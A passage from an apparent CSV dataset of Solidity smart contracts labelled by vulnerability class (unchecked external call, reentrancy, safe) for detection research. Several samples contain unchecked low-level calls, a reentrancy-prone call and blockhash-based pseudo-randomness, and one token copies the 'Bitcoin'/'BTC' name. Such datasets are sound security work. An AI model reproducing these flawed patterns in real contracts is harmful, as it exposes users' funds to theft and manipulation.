48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } } // contract FirstContract is usingOraclize { address owner; uint constant ORACLIZE_GAS_LIMIT = 125000; uint public counter = 0; uint public errCounter = 0; uint safeGas = 25000; /// Create a new ballot with $(_numProposals) different proposals. function FirstContract() { oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); owner = msg.sender; } function() { errCounter++; } modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } modifier onlyOwner { if (owner != msg.sender) throw; _; } function changeGasLimitOfSafeSend(uint newGasLimit) onlyOwner { safeGas = newGasLimit; } function count() payable onlyOwner { oraclize_query(""URL"", ""json(http://typbr.com/counter).counter"", ""BON4oYqHyydPJWXhq8ElREZ4XbwVJaT/7EkJhTABWGAh9eX86sNUamnllJ0w6bHyUFUKb49yxX9YLXxG/CQVZ1bMig9RS4h94ihW9hUftduqGL2+j9njTmlYgw80t5LRQMAMO2Wk5qEL+T77CoQoQV1vCw=="", ORACLIZE_GAS_LIMIT + safeGas); } function invest() payable { } function __callback (bytes32 myid, string result, bytes proof) payable onlyOraclize { counter = parseInt(result); } function safeSend(address addr, uint value) private { if (this.balance < value) { throw; } if (!(addr.call.gas(safeGas).value(value)())) { throw; } } function divest(uint amount) payable onlyOwner { safeSend(owner, amount); } function destruct() payable onlyOwner { selfdestruct(owner); } }",./Dataset/unchecked external call (UC),7,7 0x03dc9b46243703fa1c1f95c2693212635f742204_MonethaGateway.sol,"pragma solidity 0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Restricted.sol /** @title Restricted * Exposes onlyMonetha modifier */ contract Restricted is Ownable { mapping (address => bool) public isMonethaAddress; /** * Restrict methods in such way, that they can be invoked only by monethaAddress account. */ modifier onlyMonetha() { require(isMonethaAddress[msg.sender]); _; } /** * Allows owner to set new monetha address */ function setMonethaAddress(address _address, bool _isMonethaAddress) onlyOwner public { isMonethaAddress[_address] = _isMonethaAddress; } } // File: zeppelin-solidity/contracts/lifecycle/Destructible.sol /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { function Destructible() payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Contactable.sol /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable{ string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } // File: contracts/MonethaGateway.sol /** * @title MonethaGateway * * MonethaGateway forward funds from order payment to merchant's wallet and collects Monetha fee. */ contract MonethaGateway is Pausable, Contactable, Destructible, Restricted { using SafeMath for uint256; string constant VERSION = ""0.3""; /** * Fee permille of Monetha fee. * 1 permille (‰) = 0.1 percent (%) * 15‰ = 1.5% */ uint public constant FEE_PERMILLE = 15; /** * Address of Monetha Vault for fee collection */ address public monethaVault; /** * Account for permissions managing */ address public admin; event PaymentProcessed(address merchantWallet, uint merchantIncome, uint monethaIncome); /** * @param _monethaVault Address of Monetha Vault */ function MonethaGateway(address _monethaVault, address _admin) public { require(_monethaVault != 0x0); monethaVault = _monethaVault; setAdmin(_admin); } /** * acceptPayment accept payment from PaymentAcceptor, forwards it to merchant's wallet * and collects Monetha fee. * @param _merchantWallet address of merchant's wallet for fund transfer */ function acceptPayment(address _merchantWallet) external payable onlyMonetha whenNotPaused { require(_merchantWallet != 0x0); uint merchantIncome = msg.value.sub(FEE_PERMILLE.mul(msg.value).div(1000)); uint monethaIncome = msg.value.sub(merchantIncome); _merchantWallet.transfer(merchantIncome); monethaVault.transfer(monethaIncome); PaymentProcessed(_merchantWallet, merchantIncome, monethaIncome); } /** * changeMonethaVault allows owner to change address of Monetha Vault. * @param newVault New address of Monetha Vault */ function changeMonethaVault(address newVault) external onlyOwner whenNotPaused { monethaVault = newVault; } /** * Allows other monetha account or contract to set new monetha address */ function setMonethaAddress(address _address, bool _isMonethaAddress) public { require(msg.sender == admin || msg.sender == owner); isMonethaAddress[_address] = _isMonethaAddress; } /** * setAdmin allows owner to change address of admin. * @param _admin New address of admin */ function setAdmin(address _admin) public onlyOwner { require(_admin != 0x0); admin = _admin; } }",Safe,8,8 20048.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 21000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 21000000000000000000000000; // Update total supply (100000 for example) name = ""Bitcoin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""BTC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x048431fe46a02ee28497919224ef3144f68a872b_WBDToken.sol,"pragma solidity ^0.4.19; library SafeMath { function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } /** * @title Contract that will work with ERC223 tokens. */ contract ContractReceiver { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * @title ERC223 standard token implementation. */ contract WBDToken { using SafeMath for uint256; uint256 public totalSupply; string public name; string public symbol; uint8 public constant decimals = 8; address public owner; mapping(address => uint256) balances; // List of user balances. function WBDToken(uint256 initialSupply, string tokenName, string tokenSymbol) public { owner = msg.sender; totalSupply = initialSupply * 10 ** uint256(decimals); name = tokenName; symbol = tokenSymbol; balances[owner] = totalSupply; } event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 event Transfer(address indexed from, address indexed to, uint256 value, bytes data); // ERC233 event Burn(address indexed from, uint256 amount, uint256 currentSupply, bytes data); /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public returns (bool) { bytes memory empty; transfer(_to, _value, empty); } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn * @param _data Transaction metadata. */ function burn(uint256 _value, bytes _data) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value, totalSupply, _data); return true; } /** * @dev Returns balance of the `_address`. * * @param _address The address whose balance will be returned. * @return balance Balance of the `_address`. */ function balanceOf(address _address) public constant returns (uint256 balance) { return balances[_address]; } }",Safe,8,8 35226.sol,"/// price-feed.sol // Copyright (C) 2017 DappHub, LLC // Licensed under the Apache License, Version 2.0 (the ""License""). // You may not use this file except in compliance with the License. // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied). pragma solidity ^0.4.17; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called ""exponentiation by squaring"" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSThing is DSAuth, DSNote, DSMath { } contract PriceFeed is DSThing { uint128 val; uint32 public zzz; function peek() public view returns (bytes32,bool) { return (bytes32(val), now < zzz); } function read() public view returns (bytes32) { assert(now < zzz); return bytes32(val); } function post(uint128 val_, uint32 zzz_, address med_) public note auth { val = val_; zzz = zzz_; bool ret = med_.call(bytes4(keccak256(""poke()""))); ret; } function void() public note auth { zzz = 0; } }",./Dataset/reentrancy (RE)/,5,5 277.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract BattleBase is Ownable { using SafeMath for uint256; event BattleHistory( uint256 historyId, uint8 winner, uint64 battleTime, uint256 sequence, uint256 blockNumber, uint256 tokensGained); event BattleHistoryChallenger( uint256 historyId, uint256 cardId, uint8 element, uint16 level, uint32 attack, uint32 defense, uint32 hp, uint32 speed, uint32 criticalRate, uint256 rank); event BattleHistoryDefender( uint256 historyId, uint256 cardId, uint8 element, uint16 level, uint32 attack, uint32 defense, uint32 hp, uint32 speed, uint16 criticalRate, uint256 rank); event RejectChallenge( uint256 challengerId, uint256 defenderId, uint256 defenderRank, uint8 rejectCode, uint256 blockNumber); event HashUpdated( uint256 cardId, uint256 cardHash); event LevelUp(uint256 cardId); event CardCreated(address owner, uint256 cardId); uint32[] expToNextLevelArr = [0,103,103,207,207,207,414,414,414,414,724,724,724,828,828,931,931,1035,1035,1138,1138,1242,1242,1345,1345,1449,1449,1552,1552,1656,1656,1759,1759,1863,1863,1966,1966,2070,2070,2173,2173,2173,2277,2277,2380,2380,2484,2484,2587,2587,2691,2691,2794,2794,2898,2898,3001,3001,3105,3105,3208,3208,3312,3312,3415,3415,3519,3519,3622,3622,3622,3726,3726,3829,3829,3933,3933,4036,4036,4140,4140,4243,4243,4347,4347,4450,4450,4554,4554,4657,4657,4761,4761,4864,4864,4968,4968,5071,5071,5175]; uint32[] activeWinExp = [10,11,14,19,26,35,46,59,74,91,100,103,108,116,125,135,146,158,171,185,200,215,231,248,265,283,302,321,341,361,382]; struct Card { uint8 element; uint16 level; uint32 attack; uint32 defense; uint32 hp; uint32 speed; uint16 criticalRate; uint32 flexiGems; uint256 cardHash; uint32 currentExp; uint32 expToNextLevel; uint64 createdDatetime; uint256 rank; } mapping (uint256 => Card) public cards; uint256[] ranking; mapping (uint256 => uint256) public rankTokens; uint8 public currentElement = 0; uint256 public historyId = 0; HogSmashToken public hogsmashToken; Marketplace public marketplace; uint256 public challengeFee; uint256 public upgradeFee; uint256 public avatarFee; uint256 public referrerFee; uint256 public developerCut; uint256 internal totalDeveloperCut; uint256 public cardDrawPrice; uint8 public upgradeGems; uint8 public upgradeGemsSpecial; uint16 public gemAttackConversion; uint16 public gemDefenseConversion; uint16 public gemHpConversion; uint16 public gemSpeedConversion; uint16 public gemCriticalRateConversion; uint8 public goldPercentage; uint8 public silverPercentage; uint32 public eventCardRangeMin; uint32 public eventCardRangeMax; uint8 public maxBattleRounds; uint256 internal totalRankTokens; bool internal battleStart; bool internal starterPackOnSale; uint256 public starterPackPrice; uint16 public starterPackCardLevel; function setMarketplaceAddress(address _address) external onlyOwner { Marketplace candidateContract = Marketplace(_address); require(candidateContract.isMarketplace(),""needs to be marketplace""); marketplace = candidateContract; } function setSettingValues( uint8 _upgradeGems, uint8 _upgradeGemsSpecial, uint16 _gemAttackConversion, uint16 _gemDefenseConversion, uint16 _gemHpConversion, uint16 _gemSpeedConversion, uint16 _gemCriticalRateConversion, uint8 _goldPercentage, uint8 _silverPercentage, uint32 _eventCardRangeMin, uint32 _eventCardRangeMax, uint8 _newMaxBattleRounds) external onlyOwner { require(_eventCardRangeMax >= _eventCardRangeMin, ""range max must be larger or equals range min"" ); require(_eventCardRangeMax<100000000, ""range max cannot exceed 99999999""); require((_newMaxBattleRounds <= 128) && (_newMaxBattleRounds >0), ""battle rounds must be between 0 and 128""); upgradeGems = _upgradeGems; upgradeGemsSpecial = _upgradeGemsSpecial; gemAttackConversion = _gemAttackConversion; gemDefenseConversion = _gemDefenseConversion; gemHpConversion = _gemHpConversion; gemSpeedConversion = _gemSpeedConversion; gemCriticalRateConversion = _gemCriticalRateConversion; goldPercentage = _goldPercentage; silverPercentage = _silverPercentage; eventCardRangeMin = _eventCardRangeMin; eventCardRangeMax = _eventCardRangeMax; maxBattleRounds = _newMaxBattleRounds; } function setStarterPack(uint256 _newStarterPackPrice, uint16 _newStarterPackCardLevel) external onlyOwner { require(_newStarterPackCardLevel<=20, ""starter pack level cannot exceed 20""); starterPackPrice = _newStarterPackPrice; starterPackCardLevel = _newStarterPackCardLevel; } function setStarterPackOnSale(bool _newStarterPackOnSale) external onlyOwner { starterPackOnSale = _newStarterPackOnSale; } function setBattleStart(bool _newBattleStart) external onlyOwner { battleStart = _newBattleStart; } function setCardDrawPrice(uint256 _newCardDrawPrice) external onlyOwner { cardDrawPrice = _newCardDrawPrice; } function setReferrerFee(uint256 _newReferrerFee) external onlyOwner { referrerFee = _newReferrerFee; } function setChallengeFee(uint256 _newChallengeFee) external onlyOwner { challengeFee = _newChallengeFee; } function setUpgradeFee(uint256 _newUpgradeFee) external onlyOwner { upgradeFee = _newUpgradeFee; } function setAvatarFee(uint256 _newAvatarFee) external onlyOwner { avatarFee = _newAvatarFee; } function setDeveloperCut(uint256 _newDeveloperCut) external onlyOwner { developerCut = _newDeveloperCut; } function getTotalDeveloperCut() external view onlyOwner returns (uint256) { return totalDeveloperCut; } function getTotalRankTokens() external view returns (uint256) { return totalRankTokens; } function getSettingValues() external view returns( uint8 _upgradeGems, uint8 _upgradeGemsSpecial, uint16 _gemAttackConversion, uint16 _gemDefenseConversion, uint16 _gemHpConversion, uint16 _gemSpeedConversion, uint16 _gemCriticalRateConversion, uint8 _maxBattleRounds) { _upgradeGems = uint8(upgradeGems); _upgradeGemsSpecial = uint8(upgradeGemsSpecial); _gemAttackConversion = uint16(gemAttackConversion); _gemDefenseConversion = uint16(gemDefenseConversion); _gemHpConversion = uint16(gemHpConversion); _gemSpeedConversion = uint16(gemSpeedConversion); _gemCriticalRateConversion = uint16(gemCriticalRateConversion); _maxBattleRounds = uint8(maxBattleRounds); } } contract Random { uint private pSeed = block.number; function getRandom() internal returns(uint256) { return (pSeed = uint(keccak256(abi.encodePacked(pSeed, blockhash(block.number - 1), blockhash(block.number - 3), blockhash(block.number - 5), blockhash(block.number - 7)) ))); } } contract Battle is BattleBase, Random, Pausable { constructor(address _tokenAddress) public { HogSmashToken candidateContract = HogSmashToken(_tokenAddress); hogsmashToken = candidateContract; starterPackPrice = 30000000000000000; starterPackCardLevel = 5; starterPackOnSale = true; challengeFee = 10000000000000000; upgradeFee = 10000000000000000; avatarFee = 50000000000000000; developerCut = 375; referrerFee = 2000; cardDrawPrice = 15000000000000000; battleStart = true; paused = false; totalDeveloperCut = 0; } modifier onlyOwnerOf(uint256 _tokenId) { require(hogsmashToken.ownerOf(_tokenId) == msg.sender, ""must be owner of token""); _; } function getCard(uint256 _id) external view returns ( uint256 cardId, address owner, uint8 element, uint16 level, uint32[] stats, uint32 currentExp, uint32 expToNextLevel, uint256 cardHash, uint64 createdDatetime, uint256 rank ) { cardId = _id; owner = hogsmashToken.ownerOf(_id); Card storage card = cards[_id]; uint32[] memory tempStats = new uint32[](6); element = uint8(card.element); level = uint16(card.level); tempStats[0] = uint32(card.attack); tempStats[1] = uint32(card.defense); tempStats[2] = uint32(card.hp); tempStats[3] = uint32(card.speed); tempStats[4] = uint16(card.criticalRate); tempStats[5] = uint32(card.flexiGems); stats = tempStats; currentExp = uint32(card.currentExp); expToNextLevel = uint32(card.expToNextLevel); cardHash = uint256(card.cardHash); createdDatetime = uint64(card.createdDatetime); rank = uint256(card.rank); } function getCardIdByRank(uint256 _rank) external view returns(uint256 cardId) { return ranking[_rank]; } function draftNewCard() external payable whenNotPaused returns (uint256) { require(msg.value == cardDrawPrice, ""fee must be equal to draw price""); require(address(marketplace) != address(0), ""marketplace not set""); hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice); return _createCard(msg.sender, 1); } function draftNewCardWithReferrer(address referrer) external payable whenNotPaused returns (uint256 cardId) { require(msg.value == cardDrawPrice, ""fee must be equal to draw price""); require(address(marketplace) != address(0), ""marketplace not set""); hogsmashToken.setApprovalForAllByContract(msg.sender, marketplace, true); cardId = _createCard(msg.sender, 1); if ((referrer != address(0)) && (referrerFee!=0) && (referrer!=msg.sender) && (hogsmashToken.balanceOf(referrer)>0)) { uint256 referrerCut = msg.value.mul(referrerFee)/10000; require(referrerCut<=msg.value, ""referre cut cannot be larger than fee""); referrer.transfer(referrerCut); totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice.sub(referrerCut)); } else { totalDeveloperCut = totalDeveloperCut.add(cardDrawPrice); } } function levelUp( uint256 _id, uint16 _attackLevelUp, uint16 _defenseLevelUp, uint16 _hpLevelUp, uint16 _speedLevelUp, uint16 _criticalRateLevelUp, uint16 _flexiGemsLevelUp) external payable whenNotPaused onlyOwnerOf(_id) { require( _attackLevelUp >= 0 && _defenseLevelUp >= 0 && _hpLevelUp >= 0 && _speedLevelUp >= 0 && _criticalRateLevelUp >= 0 && _flexiGemsLevelUp >= 0, ""level up attributes must be more than 0"" ); require(msg.value == upgradeFee, ""fee must be equals to upgrade price""); Card storage card = cards[_id]; require(card.currentExp==card.expToNextLevel, ""exp is not max yet for level up""); require(card.level < 65535, ""card level maximum has reached""); require((card.criticalRate + (_criticalRateLevelUp * gemCriticalRateConversion))<=7000, ""critical rate max of 70 has reached""); uint totalInputGems = _attackLevelUp + _defenseLevelUp + _hpLevelUp; totalInputGems += _speedLevelUp + _criticalRateLevelUp + _flexiGemsLevelUp; uint16 numOfSpecials = 0; if ((card.level > 1) && (card.attack==1) && (card.defense==1) && (card.hp==3) && (card.speed==1) && (card.criticalRate==25) && (card.flexiGems==1)) { numOfSpecials = (card.level+1)/5; uint totalGems = (numOfSpecials * upgradeGemsSpecial) + (((card.level) - numOfSpecials) * upgradeGems); require(totalInputGems==totalGems, ""upgrade gems not used up""); } else { if (((card.level+1)%5)==0) { require(totalInputGems==upgradeGemsSpecial, ""upgrade gems not used up""); numOfSpecials = 1; } else { require(totalInputGems==upgradeGems, ""upgrade gems not used up""); } } totalDeveloperCut = totalDeveloperCut.add(upgradeFee); _upgradeLevel(_id, _attackLevelUp, _defenseLevelUp, _hpLevelUp, _speedLevelUp, _criticalRateLevelUp, _flexiGemsLevelUp, numOfSpecials); emit LevelUp(_id); } function _upgradeLevel( uint256 _id, uint16 _attackLevelUp, uint16 _defenseLevelUp, uint16 _hpLevelUp, uint16 _speedLevelUp, uint16 _criticalRateLevelUp, uint16 _flexiGemsLevelUp, uint16 numOfSpecials) private { Card storage card = 